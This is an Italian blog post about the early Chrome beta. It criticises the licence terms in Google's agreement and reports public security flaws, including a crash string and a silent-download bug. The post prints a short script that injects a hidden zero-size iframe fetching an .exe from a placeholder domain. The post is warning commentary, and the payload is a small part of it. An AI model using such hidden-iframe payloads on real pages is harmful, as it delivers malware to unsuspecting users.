Se inizialmente il browser di casa Google, Chrome, ha suscitato interesse e commenti positivi da parte degli utenti, dopo alcuni giorni dalla sua uscita ufficiale i pareri sono nettamente contrari. Ciò è dovuto in primo luogo alla legge sulla privacy che si accetta al momento dell’installazione, ecco i punti salienti e più contestati:

L’utente è proprietario del copyright e di qualsiasi altro diritto già posseduto sui Contenuti inviati, pubblicati o visualizzati su o tramite i Servizi. Inviando, pubblicando o visualizzando i Contenuti, l’utente concede a Google una licenza perenne, irrevocabile, internazionale, non soggetta a diritti d’autore e non esclusiva per riprodurre, adattare, modificare, tradurre, pubblicare, eseguire in pubblico, visualizzare pubblicamente e distribuire qualsiasi Contenuto inviato, pubblicato o visualizzato su o tramite i Servizi. Detta licenza ha il solo scopo di autorizzare Google a visualizzare, distribuire e promuovere i Servizi e può essere revocata per alcuni Servizi, come definito nei Termini aggiuntivi dei Servizi in oggetto.”

“L’utente conviene che detta licenza includa un diritto per Google di rendere tali Contenuti disponibili per altre aziende, organizzazioni o altri soggetti con cui Google abbia rapporti per la fornitura di servizi diffusi e di utilizzare tali Contenuti in relazione alla fornitura di tali servizi.”

“L’utente riconosce che Google, nell’esecuzione delle operazioni tecniche necessarie per fornire i Servizi ai propri utenti, può (a) trasmettere o distribuire i Contenuti dell’utente su varie reti pubbliche e con vari mezzi e  apportare ai Contenuti dell’utente le modifiche necessarie per renderli conformi ai requisiti tecnici delle reti, dei dispositivi, dei servizi o dei mezzi di connessione. L’utente accetta che tale licenza dovrà autorizzare Google a intraprendere tali azioni.”

“L’utente conferma e garantisce a Google di disporre di tutti i diritti, del potere e dell’autorità necessari per concedere la suddetta licenza.”

I termini sembrano piuttosto invasivi, anche se inclini a diverse interpretazioni.
Comunque a destare maggiore preoccupazione sono i diversi exploit (falle/bug) scoperti, che rendendono poco sicura la navigazione in internet. Per esempio basta inserire about@ nella barra degli indirizzi e al passaggio del mouse Chrome andrà in crash. Stesso risultato inserendo il collegamento ipertestuale HE RE in una qualsiasi pagina web.

Ma a mettere a rischio la sicurezza informatica sono i tre exploit resi pubblici sul popolare sito di codici exploit Milw0rm riguardanti la possibilità di mandare in crash in remoto il browser e la possibilità di avviare il download silenzioso e senza alcuna richiesta all’utente di qualsiasi file mediante questa stringa:

< script >
document.write('< iframe src="http://www.
esempio.com/esempio.exe" frameborder="0" width="0"
height="0" >');
</ script >

Essendo ancora in beta, era prevedibile che ci fossero delle falle, ma non si credeva così rischiose per la sicurezza per gli utenti. Al momento non consiglio di installare Google Chrome prima di una uscita ufficiale, perchè ancora c’è veramente molto da lavorare per rendere. Comunque per chi stesse usando il browser Google ha reso disponibile un aggiornamento che risolve alcuni dei problemi di sicurezza sopra descritti, e che potete scaricare cliccando qui.